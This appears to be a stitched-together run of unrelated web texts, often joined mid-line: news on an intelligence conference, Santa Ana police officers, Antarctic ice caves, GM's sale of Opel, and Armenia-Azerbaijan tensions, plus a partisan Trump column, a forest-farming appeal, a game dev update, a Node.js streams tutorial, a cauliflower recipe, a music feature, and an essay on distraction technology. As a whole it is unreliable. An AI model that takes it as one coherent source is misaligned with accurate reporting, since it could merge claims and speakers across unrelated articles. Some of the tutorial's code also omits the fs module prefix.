Possibly the most extraordinary moment was when Brennan said that if Trump followed through with threats to fire special prosecutor and former FBI Director Robert Mueller, U.S. officials should revolt. “If he’s fired… I think it’s the obligation of some executive branch officials to refuse to carry out some of these orders.”
Another senior official at the conference said Brennan’s rage stemmed directly from Pompeo’s attacks the night before. He and the other current and former officials spoke anonymously to describe the emotionally charged exchanges.
Military officers are supposed to keep their political views to themselves, but Gen. Tony Thomas took a swipe at the last administration, speaking of a new opportunity to expand U.S. influence after eight years when the U.S. didn’t assert itself. His comments reflected the frustration among the special operations community that it took them years to convince the Obama administration that U.S. special operations advisers needed to be on the ground next to their allied local forces on the battlefield to make them effective.
NSA chief Admiral Mike Rogers said he had “no doubt at all” that Russia had meddled in U.S. elections, standing by the combined report of all the U.S. intelligence agencies.
Sitting alongside Rogers, Robert Hannigan, the former head of British signals intelligence agency GCHQ noted Russia didn’t seem to be trying to hide its hacking tracks as it had in the past, calling that “brazen recklessness.”
Rogers wouldn’t say whether Trump officials had reached out to Moscow on a cybersecurity cell. Senior Trump officials had raised cybersecurity cooperation as a win out of the G-20 summit before Trump himself tweeted “it can’t happen,” after bipartisan criticism.
“I would argue now is probably not the best time to be doing this,” he said in answer to a question from The Daily Beast.
But he said such cooperation in future might be a carrot to hold out to spur future Russian cooperation. He avoided endorsing or criticizing Trump policy when asked how the intelligence world could stay independent when the commander in chief demands personal loyalty—but he insisted he holds nothing back in briefings with Trump.
“I will say things I know he disagrees with,” Rogers said. “He gives me direct feedback,” he added, to laughter from the crowd.
Former CIA and NSA chief Gen. Michael Hayden, speaking on another panel, simply called the continuing fallout over Russia the most successful influence campaign of all time.
That was one area of agreement between at least one Trump official and the former Obama attendees.
“Almost every single panel, we’ve talked about Russia,” said Joshua Skule, the FBI’s executive assistant director for intelligence. “I think they would determine they have been successful.”
Brennan agreed. “It’s making our system of government in some respects dysfunctional,” he said. “I think Mr. Putin is probably crowing that it had an effect on this country that is hurting us.”SANTA ANA – Three Santa Ana Police Department officers caught eating snacks during a raid on a marijuana dispensary with two of them making fun of a disabled woman are no longer working for the agency.
Cpl. Anthony Bertagna, the department’s spokesman, confirmed Thursday that Brandon Matthew Sontag, Nicole Lynn Quijas and Jorge Arroyo were no longer officers in the city.
Both Sontag and Quijas’ last day was May 6, and Arroyo’s was April 20, Bertagna said.
He declined to discuss if they were fired or left on the department on their own: “I cannot comment on personnel matters.”
A surveillance video, released by the dispensary’s lawyer last year, shows the officers during a May 2015 raid of a marijuana dispensary, Sky High Holistic. The city accused it of selling marijuana without a permit.
(Editor’s note: This video was edited, and the wording that appears mounted on some of the screen images is from a source other than The Orange County Register or the Santa Ana Police Department. The profanity that appears on one of the video frames was not placed there by the Register or the Santa Ana Police Department).
The video, which made national headlines, showed officers serving a search warrant at Sky High. They ordered customers and employees to the ground and two made demeaning remarks about Sky High volunteer Marla James, an amputee in a wheelchair seen in the video.
“Did you punch that one-legged old benita?” a male officer asks a female officer, apparently referring to James.
“I was about to kick her in her (expletive) nub,” a female officer replies.
The officers disabled several cameras – except a hidden one that captured the incident. When the footage first surfaced, some thought the officers were eating marijuana edibles, taken from the shop, but prosecutors later said there was no evidence that the snacks contained any drugs.
In the aftermath, Police Chief Carlos Rojas announced that three officers involved in the raid were placed on administrative leave while the department investigated whether their actions violated policy.
In March, the Orange County District Attorney’s Office filed charges of petty theft against the trio. Sontag was also accused of vandalism for allegedly breaking some of the store’s surveillance cameras.
All three officers were placed on paid leave, and Bertagna had previously said their status with the department would be determined after an administrative appeals process and formal review.Deep within Antarctica’s ice caves, a group of scientists may have discovered a secret ecosystem of plants and animals being supported by the warmth of an active volcano.
Although average year-long temperatures on Ross Island hover around -17C, including six months between April and September where they don’t rise above -20C, the temperature in cave systems beneath the glaciers can reach 25C.
“You could wear a T-shirt in there and be pretty comfortable,” lead researcher Ceridwen Fraser said. “There’s light near the cave mouths, and light filters deeper into some caves where the overlying ice is thin.”
Located around and beneath Mount Erebus, an active volcano, the caves have been hollowed out after years of steam travelling through their passages. The study of the caves, led by the Australian National University, evolved into an analysis of the soil within. Fraser revealed that it contained traces of DNA from algae, mosses and even small animals that could be living in the underground oasis.
Most of the DNA, Fraser admits, is similar to that of species living on the surface. However, not all the sequences studied could be linked to a particular animal or plant group, meaning Fraser may be on the cusp of discovering new lifeforms as well.
“Our study gives us a really exciting, tantalizing glimpse of the sorts of plants and animals that might live beneath the ice in Antarctica,” she said. “Some of the DNA evidence that we found suggests that maybe there are things living in these caves that we know nothing about.
“There could even be new species.”
Because there are several active volcanoes in the Antarctic, co-researcher Charles Lee, from the University of Waikato in New Zealand, said similar unexplored subglacial cave systems could exist across the continent. The research, originally published in the international journal Polar Biology, said there are another 15 volcanoes in Antarctica that are currently active or suggest signs of recent activity.
“We don’t yet know just how many cave systems exist around Antarctica’s volcanoes, or how interconnected these subglacial environments might be,” he said.
Co-author Laurie Connell, a professor from the University of Maine, shared her colleagues’ excitement but said the DNA evidence doesn’t prove anything — especially that plants and animals are still living there. The next step is to explore the caves themselves, hoping to find the living proof the team needs.
“If they exist, it opens the door to an exciting new world.”Back in 2013, when Donald Trump was, allegedly, mulling a run for the White House as a Republican, he wrote this in an op-ed for CNN on the global financial crisis:
We are now closer to having an economic community in the best sense of the term — we work with each other for the benefit of all. I think we’ve all become aware of the fact that our cultures and economics are intertwined. It’s a complex mosaic that cannot be approached with a simple formula for the correct pattern to emerge. In many ways, we are in unchartered waters. The good news, in one respect, is that what is done affects us all. There won’t be any winners or losers as this is not a competition. It’s a time for working together for the best of all involved. Never before has the phrase “we’re all in this together” had more resonance or relevance. … We will have to leave borders behind and go for global unity when it comes to financial stability.
And he paid obeisance to the leftwing mantra of “diversity is our strength”:
Europe is a tapestry that is dense, colorful and deserving of continued longevity and prosperity. There are many pieces that must be carefully fitted together in order to thrive.
A mere three years ago, Donald Trump held the same fairly conventional views of internationalism and open borders as Hillary Clinton and George Soros… not a surprise because he’s a lot more like them than he like anyone in the GOP.
This campaign season, and in his few lucid moments at his press conference in Scotland, Donald Trump has focused on building a wall between us and Mexico and given full-throated support to protectionism and tariffs and punishing companies that actually engage in a global economy. Friday he applauded Brexit and seemed to hope more nations would do the same.
Has he changed his mind? Probably not. You can’t change your mind when you don’t really believe in anything to begin with.With 27 days to go on our fundraising campaign, we’ve been successful at raising 54% of our goal. We are very thankful for each of your contributions. Your gift will help document science and craft of forest farming
Please enjoy the conversation author Steve Gabriel had recently with Scott Mann of the Permaculture Podcast.
They cover a lot of ground about the relationship between permaculture and agroforestry and get into many of the specific systems of forest farming, including mushroom production, and use of tree crops for riparian buffers and windbreaks.
Here is an outline of the conversation:
Role of Academia, Extension, and Research in furthering Permaculture
Definitions of Agroforestry and Forest Farming vs Forest Gardening
Discussion of approaches to healthy forest management
Examples of stacking yields in time and space with an example of Black Walnut/Paw Paw/Grazing polyculture
Incentives for farmers to adapt Agroforestry practices
Specifics of mushroom cultivation as a Forest Framing practice
The vision and potential of Forest Farming
We also discuss the book, our fundraising campaign, and the research we are conducting to track down and tell the stories of forest farmers.
Our thanks to Scott for putting together a great recording, and for all of the friends, colleagues, family, and forest farming enthusiasts that have supported our work. If you are reading this post please consider doing the following:
Listen
Go to the Permaculture Podcast website and have a listen to the podcast. We also have a video that describes our work at the Indiegogo site.
Donate
If you feel able to, consider a donation to support our research. The $50 mark (and above) gets you a signed copy of the book when it’s released – and you’ll be helping us improve the content of the book by enabling us to visit forest farms around the country.
Share
Please share our work with those in your networks who may be interested.
|
, we now have a (nearly) complete Game Design Document for the entire Microbe Stage:
http://thrivegame.wikidot.com/microbe-stage-gdd
It covers everything you might want to know about the first game section: how exploring and combat work, what goes on in the microbe editor, the functions of all organelles, how the player will move between game states, what everything will look and sound like, etc. It’s split into various sections, each with their own page linked via the main one.
One section is missing a few things: Simulation Specifics. This is because not everything here has been ironed out, and describing it all in detail will require (gasp) equations. Not to say we don’t already know most of what’s going on with each of these mechanics – many of them are briefly covered in other areas of the document, and our theorists, while fonts of all knowledge, don’t always have much time. This section should be fixed relatively soon, but you can still grasp the entirety of the Microbe Stage’s functionality without it.
Bear in mind that nothing in the document is completely set in stone. We might find mechanics aren’t as fun or don’t work as well as we thought they would, but that’s the joy of QA. Even so, the GDD serves to inform anyone of how the game will work, from fan to programmer, and stands as testament to the fact that we actually do have a full concept (if not much of a game yet, but we’re working on that…).
In other news, the team recently had a long discussion on the topic of adaptive AI, which you can read through here:
http://forum.revolutionarygamesstudio.com/t/thinking-about-ai/60
We’ve also been working on the visual feature you’ve all been waiting for: cells that look like cells. Until now, they’ve been hexagonal arrangements of organelles, but for a game which touts realism, we need something much more visually appealing. The thread on this topic can be found here:
http://forum.revolutionarygamesstudio.com/t/membrane/80
We now have the means to implement a dynamic membrane rendering around microbes based on their organelle arrangement. Eventually it’ll distort during collisions or when moving through environmental water currents. The membrane will be 3D on a 2D plane, and should look something like the image at the beginning of this post.
To finish, here’s a recently composed track from the sound side of development for space voyages towards the end of the game. Check back soon to hear from us again, with more development progress and updates!A Brief History of Node Streams pt.1
Jessica Quynh Blocked Unblock Follow Following Jan 24, 2017
Introduction
From spew streams to suck streams, Streams are a little understood interface used in almost every internal module of Node.js and across thousands of NPM packages.
How exactly have streams come to exist? How do they vary from version to version of node? This post takes a look at what streams are and do, while providing some examples along the way.
UNIX Background
The Streams interface in Node.js are an analogous implementation of the pipe interface found on UNIX systems.
So, what does that mean exactly?
We can think about a pipeline as the movement of information between two points in space.
There is the output of data from one process and that gets piped into the input of another process.
This diagram describes the nature of a pipe in UNIX systems:
The Linux Programming Interface, ©2010 Michael Kerrisk. While this diagram depicts a pipeline to be unidirectional, in Node.js, Streams can also be bidirectional.
Stdin and stdout are standard streams in computer programming. They are simply communication channels. The former denotes standard input, and the latter, standard output.
In a common UNIX bash shell, you might write a command like this to display the given files in the working directory.
$ ls
# To be displayed in the shell output.
file1.js file2.txt file3.txt
In this instance, what you, the user, type is considered stdin, and the list of files being displayed is stdout.
You might decide to redirect that data to a file.
# This creates a new text file which will contain the list of files.
$ ls >> this_directory_files.txt
Or pipe it through a filter first:
# This will list only files ending with a ".js" extension.
$ ls | grep *.js >> this_directory_files.txt
This is an example of how pipes can be used to manipulate data from one endpoint to another in a concise manner.
The way UNIX pipes are used to transfer data from process to process is exactly how are Streams used in Node.js. That is why they are so often used by developers and within the Node internal codebase itself.
Since FileSystem I/O, http, crypto, TTY all implement streams, it would be easy to imagine the enormous potential use-cases to transfer and manipulate data using Node.js.
What makes streams so powerful, though, is their affinity to itself. That means, one constructed stream from one module will easily link to another stream from a completely different module.
Node.js is built with the UNIX philosophy in mind. Should you be unfamiliar, one of the most important takeaways is this:
Do One Thing and Do It Well
In following this principle, lightweight binaries and modules will be created to absolutely succeed in executing one simple task. With the connective properties of pipes (and analogically, streams) these several modules will be able to link up and create a complex system to execute complicated tasks.
In Node.js, this congruency fosters an entire ecosystem of streaming on a global community scale. An example of this is found in build tools like gulp where developers often build and share plugins to introduce custom data manipulation in the application build!
Node Streams
To fully understand how Node.js streams are related to UNIX’s pipes, consider Node’s process.stdin and process.stdout commands. These are the most direct implementation of the UNIX standard streams.
Streams Hierarchy in Node.js
=================================================================
EventEmitters
|
Stream (Base class)
/ \
Readable Writable
/ \
process.stdin || stdin process.stdout || stdout
.
.
.
Due to this inheritance, the Readable stream is said to be similar to stdin, while the Writable stream is similar to stdout.
Here’s an example on how you can use Node.js’ mock of stdin and stdout to write a javascript bash shell script.
First, make a file that will contain your javascript script commands.
$ touch your_script.js
Go ahead and make that file executable:
$ chmod u+x your_script.js
This will be the code to put in the file. The first line is a Node.js shebang, this tells bash to interpret the following code using Node.js.
#!/usr/bin/env node
process.stdin.setEncoding('utf8');
process.stdin.on('readable', () => {
var chunk = process.stdin.read();
if (chunk!== null) {
process.stdout.write(`${chunk}`);
}
});
To run the script, write this into your command line:
$ ls |./your_script.js
Voila! You have your first Node.js bash script.
Though this example is a verbose use-case to implement what is already native to UNIX bash, I hope it might inspire ideas on how you could write bash scripts in javascript.
You could take this one step further and refactor the above code to look like this:
#!/usr/bin/env node
process.stdin.pipe(process.stdout);
Better yet, this is just one small dimension of streams that Node.js provides to help expand the potential and power of javascript. In any case, should the modules not suit your needs, you can extend the stream API and build your own custom stream.
Following the UNIX philosophy, Streams are designed to be easy-to-use and require little knowledge of the patterns and structures. But in order to really understand streams, it is important to ask these questions:
What happens when the source is a large file that contains hundreds of thousands bits of data?
What ensures the integrity of the data?
What would happen if a process’ resources were used up before the entire file was sent?
Chunking & Buffering
Streams use internal tools and patterns to break up data into manageable pieces to send them from one process to another. This is a process known as chunking.
Chunking helps to abstract complex, larger globs of data into smaller parts, which are easier to transfer. The way chunking works is inherent on how streams receive data and that workload is shifted onto Buffers.
Node.js’ Buffer class is designed after a generic data buffer. In the simplest terms, node’s implementation of buffers convert data into a fixed array of integers (determined by the encoding you’ve set, where UTF-8 is the default). These integers represent bytes and each buffer is connected to a memory space in the V8 memory heap.
Transferring binary data instead of strings ensures safe transportation, API universality, and speed. In instances where memory resources are used up, a back-pressure system is called.
For more information on buffers:
Back-pressure
Back-pressure describes the facilitation of the flow of data and, precisely, the method that streams use to handle an influx of data that it has no room left for.
From Wikipedia:
The term is also used analogously in the field of information technology to describe the build-up of data behind an I/O switch if the buffers are full and incapable of receiving any more data; the transmitting device halts the sending of data packets until the buffers have been emptied and are once more capable of storing information.
Below I’ve provided a visual example:
If we take a look at our friend Pacman, we see he is trying to consume a bunch of white orbs. Say, though, he became too full and he could no longer digest any more.
In this example, as a form of back-pressure, Pacman will signal to the system, “stop the incoming flow of orbs!” so he has time to empty his stomach, and once he has room, begin to eat again.
When back-pressure is instantiated, the stream will have time to process all the data it has recently accepted, which is called draining its buffers.
Once the buffers are flushed the stream will resume to accept more incoming data.
In this instance, the caution tape is the backpressure system, Pacman is the consumer. The source is where the orbs are being generated.
In the earlier implementation of Node.js, back-pressure was automated by utility function named.pump().
var fileSystem = require('fs');
var utils = require('util');
var inputFile = createReadStream('./input.txt');
var outputFile = createWriteStream('./output.txt');
utils.pump(inputFile, outputFile);
This is a small, simple interface that handled a lot of things. Pump attached event listeners that were written into these native streams to be called when there was an error, or when the queue was busy.
Node.js has evolved to the point where most streams in core have unified. That means, as a developer, the interface is even easier to understand, implement, and reuse, all of which continues to promote the UNIX philosophy.
var fileSystem = require('fs');
var inputFile = createReadStream('./input.txt');
var outputFile = createWriteStream('./output.txt');
inputFile.pipe(outputFile);
Finally, let’s take a look at how all of this fits together. In UNIX, communication from process to process is delegated through the kernel using signal codes. Node.js replicates this communication with the use of Events.
EventEmitters
Streams are built from EventEmitters. If you are familiar with jQuery, or the browser’s EventTargets, you will find EventEmitters to be easy to understand.
An event bespeaks its name and can be understood in a traditional perspective. Events come in two parts: a listener and an emitter.
Any time a rule, action, or parameter is fulfilled, an EventEmitter will say to the rest of the program, ‘hey! this happened!’. However, the question is: if there is no one there to listen, does the EventEmitter exist? For this reason (practical and philosophical), a listener really matters.
An event listener has a function attached to it. Every time an event is triggered, the function will execute.
A stream consists of multiple events that become triggered in succession. When data chunks are sent, they are done so by event payloads. This allows the temporal spread of how data is managed, read, and processed. Instead of overwhelming one process at one time, events allow for the slow trickle of data from one stream to another.
event: data
event: data
[ a process is busy ]
event: pause
[ wait until the buffer is drained ]
event: resume
event: data
event: data = null
event: end
Conclusion
So hopefully you have a better understanding of what streams are! Maybe you’re checking out tutorials across the web; but you might notice that there are discrepancies with different guides from different years. One might call an event that another doesn’t, yet the results are the close to identical.
Or maybe you’ve read terms like streams1, streams2, streams3, or classic streams being thrown around.
Are these external packages? Which one is better to use? So many questions! But fret not! The reason for all these monikers is due to the fact Node.js is constantly evolving!
Each iteration of streams tends to be drastically different from the last, or implements a cool new feature. Learning these names and what they refer to will help to lead the way in for troubleshooting your project and understand the best practices to implement each iteration.
In part two, we’ll take a look into different versions throughout the years and how they vary: A Brief History of Node Streams pt.2.
Thanks for reading :)Yerevan /Mediamax/. Armenian President Serzh Sargsyan said that the Armenian Armed Forces are in full control of the situation and all the rival’s recent attempts have failed.
The Armenian President said this during his interview to ArmNews TV company.
Serzh Sargsyan stressed that all the Armenian subdivisions - from detachments to the corps - are highly disciplined.
Speaking about Azerbaijan’s policy of ceasefire violation, the Armenian President said that thus Baku tries to “remind” the international community that the war has not ended and immediate measures should be taken to settle the issue.
“Besides, they tried to intimidate Armenians. And you saw the outcomes of this delusion”, noted Serzh Sargsyan.
The Armenian President also expressed the opinion that the Azerbaijani leadership is trying to make use of the fact that the war has not ended to justify its tough domestic policy.
Serzh Sargsyan also commented on the Azerbaijani Defense Minister’s statement according to which the Azerbaijani Armed Forces can “wipe Yerevan off the map”.
“During our trilateral meeting with the Russian President, the Azerbaijani President noticed very correctly that the sides are aware of each other’s military capacities. Yes, the Azerbaijani Armed Forces can reach from Nakhichevan to Yerevan borders. But such actions are always punished. Azerbaijan is very well aware that we have ballistic missile which can leave ruins of any thriving settlement at over a 300km radius as those of Aghdam. It is a matter of choice if they have “given up on their lives”. Sometimes I have the impression that some Azerbaijani leaders entertain themselves with computer games after work. But one should not mix the virtual reality with real life”, said Serzh Sargsyan.General Motors is getting out of Europe and leaving its brands behind, finally calling it quits in a market where it hasn’t made any money in the past 18 years. GM announced Monday that it would sell its Europe operations, namely the Opel and Vauxhall brands, to Peugeot SA for $2.3 billion. While that might seem like a downer for the future of automotive innovation, the new deal could mean some of GM’s electric vehicle enthusiasm rubs off on Peugeot, one of Europe’s largest automakers.
“We look forward to our participation in the future success and strong value-creation potential of PSA through our economic interest and continued collaboration on current and exciting new projects,” Mary T. Barra, GM’s CEO, said in a statement.
The deal could prove to give a giant boost to the growing electric vehicle market. PSA Group, owners of Peugeot and Citroen, will benefit from access to GM’s electric car expertise, and the two are expected to collaborate on electric car tech after the deal. Following the deal, PSA will become Europe’s second largest carmaker behind Volkswagen, accounting for 17 percent of the total market share.
Prior to the deal, PSA has had a somewhat lackluster response to the rise of electric vehicles. Last week, the group revealed that it planned to release its own fully electric car in 2019, with new plans to develop its own electric drivetrain after rebadging other companies’ technologies. But CEO Carlos Tavares told Top Gear magazine that he didn’t see electric vehicles as a profitable prospect for the near future.
General Motors, on the other hand, has had a much stronger plan for electric vehicles. The Opel Ampera-e, a rebranded version of the Chevrolet Bolt EV, is set to go on sale in the continent later this year. The Bolt received rave reviews after it entered production in November 2016. With an acceleration time of 0-60mph in 6.5 seconds and an estimated range of 238 miles, Car and Driver claimed the car “gives Tesla a run for its money.”
The all-electric Chevrolet Bolt EV is shown on stage after it won the Car of the Year Award at the 2017 North American International Auto Show on January 9, 2017 in Detroit, Michigan.
The Ampera-e’s release signals part of a wider plan to aggressively push the brand’s electric technologies. Sources speaking to Manager Magazin (translated by Electrek) claimed in a story published last month that Opel CEO Karl-Thomas Neumann has pushed a strong electrification strategy, aiming for an all-electric lineup as soon as 2030.
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GM has pushed the idea of using the Chevrolet Bolt technology in future cars. It’s also used the Bolt as a testing bed for autonomous car technology. Earlier this year, San Francisco-based Cruise Automation demonstrated on video a Bolt driving itself around the city. GM, which acquired Cruise last year, is using the technology to shuttle employees to work. A special smartphone app allows employees to request a ride.
The strong position of the PSA Group, combined with the expertise from the GM deal, could give electric vehicles in Europe a serious boost over the coming years.If you're endeavoring to eat a low-carb diet you understand the pain of choosing to pass on traditional potato salad. It really is comfort food in a bowl. Well, despair no longer! This creamy, cauliflower egg salad recipe is so good you won't even miss the potatoes.
Goodbye potatoes, hello cauliflower!
Creamy Cauliflower & Egg Salad
Ingredients:
1 large head cauliflower, cut into bite-sized pieces
3 hard-boiled eggs, chopped
3 T. mayonnaise
3 T. sour cream
1/4 c. dill relish
3 T. chopped scallions
1 T. mustard
1 tsp. salt
1/4 tsp. ground black pepper
Directions:
Bring a pot of salted water to a boil. Add chopped cauliflower; cover and cook for 7 minutes. Drain and rinse under cold water to cool and stop the cooking process. Combine mayonnaise, sour cream, relish, mustard, salt, and pepper in a bowl. Stirring until well blended. Combine cauliflower with dressing. Stir in scallions. Chill for at least 30 minutes to allow flavors to merry.
Enjoy!
Love cauliflower? We do too! Try our Protein Packed Cauliflower Mash or Cauliflower Shepherd's Pie recipes! Low-carb, mouth watering perfection.We’ve got something really special and fun for you today. I want to introduce you to German rocker/songwriter Laura Carbone, whose music has drawn comparisons to artists such as Marilyn Manson, PJ Harvey, and Hope Sandoval.
Carbone is gearing up for tomorrow’s North American release of her debut album Sirens, which features 11 tracks of dark wave brooding rock. And to help hype that release, we’ve got not one but two awesome features that we’re cramming into this piece!
First of all, we got Carbone to share five of her favorite David Lynch films and music from each one that stands out. Carbone is a huge fan of Lynch and it’s obvious in her her music, which is as surreal and entrancing as the director’s offerings. Below are her choices with explanations for each.
Secondly, above is an exclusive first listen to the track “Heavy Heavy”, which sounds like it’d fit perfectly into a David Lynch film, bringing everything full circle. With driving drums and an almost macabre intensity, the song exudes mystery with a sexiness that cannot be denied.
You can pre-order Sirens either digitally via iTunes or get a physical copy via Saki.
From Laura Carbone:
Mulholland Drive
‘Mulholland Drive’ is definitely my favorite Lynch movie. It’s like almost every other Lynch movie being very dreamlike, mysterious and takes places in a super unreal universe. It was the first Lynch movie i watched and i fell in love with the way he described his main female characters. My favorite scene is when “La Llorona“ performs at Club Silencio and then collapses, probably to death. Her singing is so intense, haunting and overemotional that I teared up when I watched it for the first time.
I love the way Lynch gives you always time to soak up performances that happen in his movies. Wild at Heart
“This whole world’s wild at heart and weird on top.“ So true.
I do love this bizarre road trip of the two romantic outlaws through the south of the US. One of my favorite songs “Wicked Games“ by Chris Isaak is playing in the background when they both are driving through the night and some witch from ‘The wizard of Oz’ rides next to them. Truly bizarre and very “Lynch” how this romantic scene ends and turns the tables on the movie. Lost Highway
The Lynch movie with the most impressive soundtrack curated by Trent Reznor includes Bowie, Manson, Smashing Pumpkins, Lou Reed, Rammstein and, of course, Reznor himself.
I cannot decide which scene is the creepiest. When the Mystery Man wants Fred to call his home or what’s on the first cassette. However, I always love how his movies leave you with the option to fill in the blanks – to use your own creativity and reality. ‘Lost Highway‘ is a perfect example for that. What has happened? Is there an ending? Is there a morphing? Blue Velvet
Isabella Rossellini as nightclub singer Dorothy is pure beauty and so it happens my favorite scene is Dorothy singing “Blue Velvet“. Twin Peaks: Fire Walk With Me
Or ‘The last week of the life of Laura Palmer‘. You’ll get a brief introduction to the “Twin Peaks” series and of course it makes sense to first watch the series, then the movie. Don’t think chronological – Lynch wouldn’t do that either. Chris Isaak plays FBI agent Chester and it’s delicious to watch him and not only listen to his music in Lynch movies and, of course, the grand Angelo Badalamenti opens the movie with the infamous “Twin Peaks Theme“.
I love the scene when Laura and her friend Donna are in this surreal, blurry sex club. The music is so loud, psychedelic and full of warm tremolo and it’s super hard to understand the conversations. But that’s the best thing about it – you don’t have to understand and analyze everything to fall into a Lynch movie.
Laura Carbone online:
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InstagramBack in the summer of 2008 – a long time ago, in internet terms, two years before Instagram, and around the time of Twitter's second birthday – the US writer Nicholas Carr published a now famous essay in the Atlantic magazine entitled Is Google Making Us Stupid? The more time he spent online, Carr reported, the more he experienced the sensation that something was eating away at his brain. "I'm not thinking the way I used to think," he wrote. Increasingly, he'd sit down with a book, but then find himself unable to focus for more than two or three pages: "I get fidgety, lose the thread, begin looking for something else to do. I feel as if I'm always dragging my wayward brain back to the text." Reading, he recalled, used to feel like scuba diving in a sea of words. But now "I zip along the surface like a guy on a jetski."
In the half-decade since Carr's essay appeared, we've endured countless scare stories about the life-destroying effects of the internet, and by and large they've been debunked. No, the web probably isn't addictive in the sense that nicotine or heroin are; no, Facebook and Twitter aren't guilty of "killing conversation" or corroding real-life friendship or making children autistic. Yes, the internet is "changing our brains", but then so does everything – and, contrary to the claims of one especially panicky Newsweek cover story, it certainly isn't "driving us mad".
Yet that gnawing sense of mind-atrophy that Carr identified hasn't gone away, and just recently in Silicon Valley it's stopped being taboo to admit it. "I would go into a room to get something, and by the time I got there I'd forget what I was looking for," says Alex Pang, a Stanford University technologist who'd barely turned 40 when he began to feel that life online was melting his brain. "For someone who had got through life on raw brainpower, this was unsustainable, and a little terrifying."
Carr, like any number of technology sceptics, would probably have advised Pang to take a break: to disconnect from the internet and head for the mountains; to declare a gadget-free "digital sabbath" one day a week; to get rid of his smartphone or never check email at night. But Pang is a techno-enthusiast, to put it mildly, so his instinctive first thought was the opposite. What if there were a way to use the internet – and all our web-connected phones and tablets and laptops and games consoles – to foster rather than erode our attention spans, and to replace that sense of edgy distractedness with calm?
This is the question motivating the embryonic movement known variously as "calming technology", "the slow web", "conscious computing" or (Pang's preferred term) "contemplative computing". Its members hope that we might be able to perform a sneaky bit of jujitsu on the devices that dominate our lives: to turn the agents of distraction into agents of serenity. Their inventions so far include wearable sensors that deliver rewards ("calm points") for breathing well while you work, developed by Stanford University's calming technology laboratory; iPad apps to help you meditate yourself into a state of super-focused concentration; software that lets friends decide collectively to disable their smartphones for the duration of a restaurant meal; and scores of pieces of "zenware" designed to block distractions, with names such as Isolator and StayFocusd and Shroud and Turn Off The Lights. I wrote most of this article using OmmWriter, which filled my screen with a wintry backdrop of bare trees and my headphones with the hypnotic clanking of old railway engines. I also used f.lux, which changed the glare of my screen to yellowy evening light, precisely timed to synchronise with the sunset outside.
If there's a single moment that symbolises the beginning of conscious computing, it probably happened in 2007, when Linda Stone, a Silicon Valley executive with 16 years' experience at Microsoft and Apple, followed her doctor's advice to take a course in Buteyko breathing, a Russian technique used to treat asthma and stress. The day afterwards, sitting down at her computer to check her email, she noticed – now that the topic of breathing was on her mind – that she was holding her breath.
Over the following days, she realised it was a habit; later, after conducting a research project involving more than 200 people, she estimated that around 80% of us unconsciously do the same. (She labelled the condition "email apnea", though it's no less common during other forms of web use.) Breath-holding, not surprisingly, deprives the body of oxygen, seems to exacerbate the "fight-or-flight" response and contributes, as Stone puts it, to "a sense of being in high alert at all times".
Such are the annoying ironies of work and play in the 21st century: more and more of us are "knowledge workers", doing jobs that require deep concentration, yet we do so on machines that seem deliberately designed to interrupt us all the time and to keep us on edge. Then, in the evenings, we try to relax using similar machines, which all too often whip us up into a state that isn't relaxing at all.
The dirty secret of the internet is that all this distraction and interruption is immensely profitable. Web companies like to boast about "creating compelling content", or offering services that let you "stay up to date with what your friends are doing", "share the things you love with the world" and so on. But the real way to build a successful online business is to be better than your rivals at undermining people's control of their own attention. Partly, this is a result of how online advertising has traditionally worked: advertisers pay for clicks, and a click is a click, however it's obtained. A website such as Mail Online doesn't care, at least in the short term, if you're "hate-reading" – clicking in order to share your friends' outrage at an article's unfairness to Benedict Cumberbatch or its bigotry towards Muslims. Facebook doesn't really mind if you click a link by mistake because it's tweaked the design of the site overnight without telling you. Advertising aside, commandeering people's attention, so that they click compulsively, is just a surer way to survive in the hyper-competitive marketplace of the web than trying to convince them intellectually that they ought to click a link, or that they'll benefit in the longer term from doing so.
And let's be honest: this war for your attention isn't confined only to Facebook or Twitter or Pinterest, or to the purveyors of celebrity gossip or porn. Higher-minded publications (including this one) feel the same pressures. "We're living in a moment when even institutions that used to be in the business of promoting reflection and deep thinking are busy tearing up the foundations that made these things possible, in favour of getting more traffic," says Pang, whose book on "contemplative computing", The Distraction Addiction, will be published in August. "Even universities and churches end up doing this when they go online, never mind newspapers and magazines." The compulsiveness is given extra force, in social media, by the fear of missing out. What Stone calls "continuous partial attention" isn't motivated by the desire to get more done, which is what underlies old-fashioned multi-tasking, but rather by "a desire not to miss anything" and "to be a live node on the network".
To explain what makes the web so compelling – so "addictive" in the colloquial sense, at least – the advocates of conscious computing usually end up returning to the psychologist BF Skinner, who conducted famous experiments on pigeons and rats at Harvard University in the 1930s. Trapped inside "Skinner boxes", equipped with a lever and a tray, the animals soon learned that pushing or pecking at the lever caused a pellet of food to appear on the tray; after that, they'd start compulsively pecking or pushing for more. But Skinner discovered that the most powerful way to reinforce the push-or-peck habit was to use "variable schedules of reward": to deliver a pellet not every time the lever was pushed, but only sometimes, and unpredictably.
There's a slightly depressing view of the web according to which we're essentially just Skinner pigeons, compulsively clicking in hopes of a squirt of dopamine, the so-called "feelgood" hormone in the brain. Once you've learned about Skinner, it's impossible not to see variable schedules of reward everywhere you look online. When you click refresh on your email, or when you check your phone, you're not guaranteed a new message; when you visit Facebook or open Twitter, you might or might not find an update of the sort you'd been hoping for. This might even help explain the appalling quality of so much online content. Nine times out of 10, when you click on a Huffington Post link – "PICTURE: Kate and Wills as OAPs", "Simon Cowell Just Got Weirder" – it's a tedious disappointment. But if it predictably lived up to expectations every time, you might actually feel less compelled to click. (There is an evolutionary argument to be made, too, about the restless compulsiveness of web use. There's little survival advantage to feeling contented, and a big one to feeling constantly slightly dissatisfied with what you've got.)
Slow tech websites like donothingfor2minutes.com aim 'to turn the agents of distraction into agents of serenity'
By far the funniest, or maybe the most horrifying, illustration of this situation is Cow Clicker, a Facebook game created in 2011 by the game designer Ian Bogost as a satire of undemanding "social games" such as FarmVille – in which, as Bogost put it, "you click on a cow, and that's it". In Cow Clicker, you clicked on your cow and it mooed, and that was it: you then had to wait another six hours to click again, unless you were willing to part with real money (or virtual money, accumulated through clicking) for the right to click again immediately. Bogost's joke became a surprise hit: at its height, Cow Clicker had more than 50,000 users, some paying $20 or more for pointless "improvements" to their cow, such as making it face the opposite direction.
"After a while," Bogost told a US radio interviewer, "I realised they're doing exactly what concerned me about these games" – becoming "compulsively attached". "I began to feel very disturbed about the product." Eventually, a few months after the launch, Bogost eliminated all the cows in a Rapture-like event he called the Cowpocalypse. After it, users could keep playing only by clicking on a bare patch of grass – and some actually did. Responding to a player who complained that Cow Clicker was no longer "a very fun game", Bogost replied, "It wasn't very fun before."
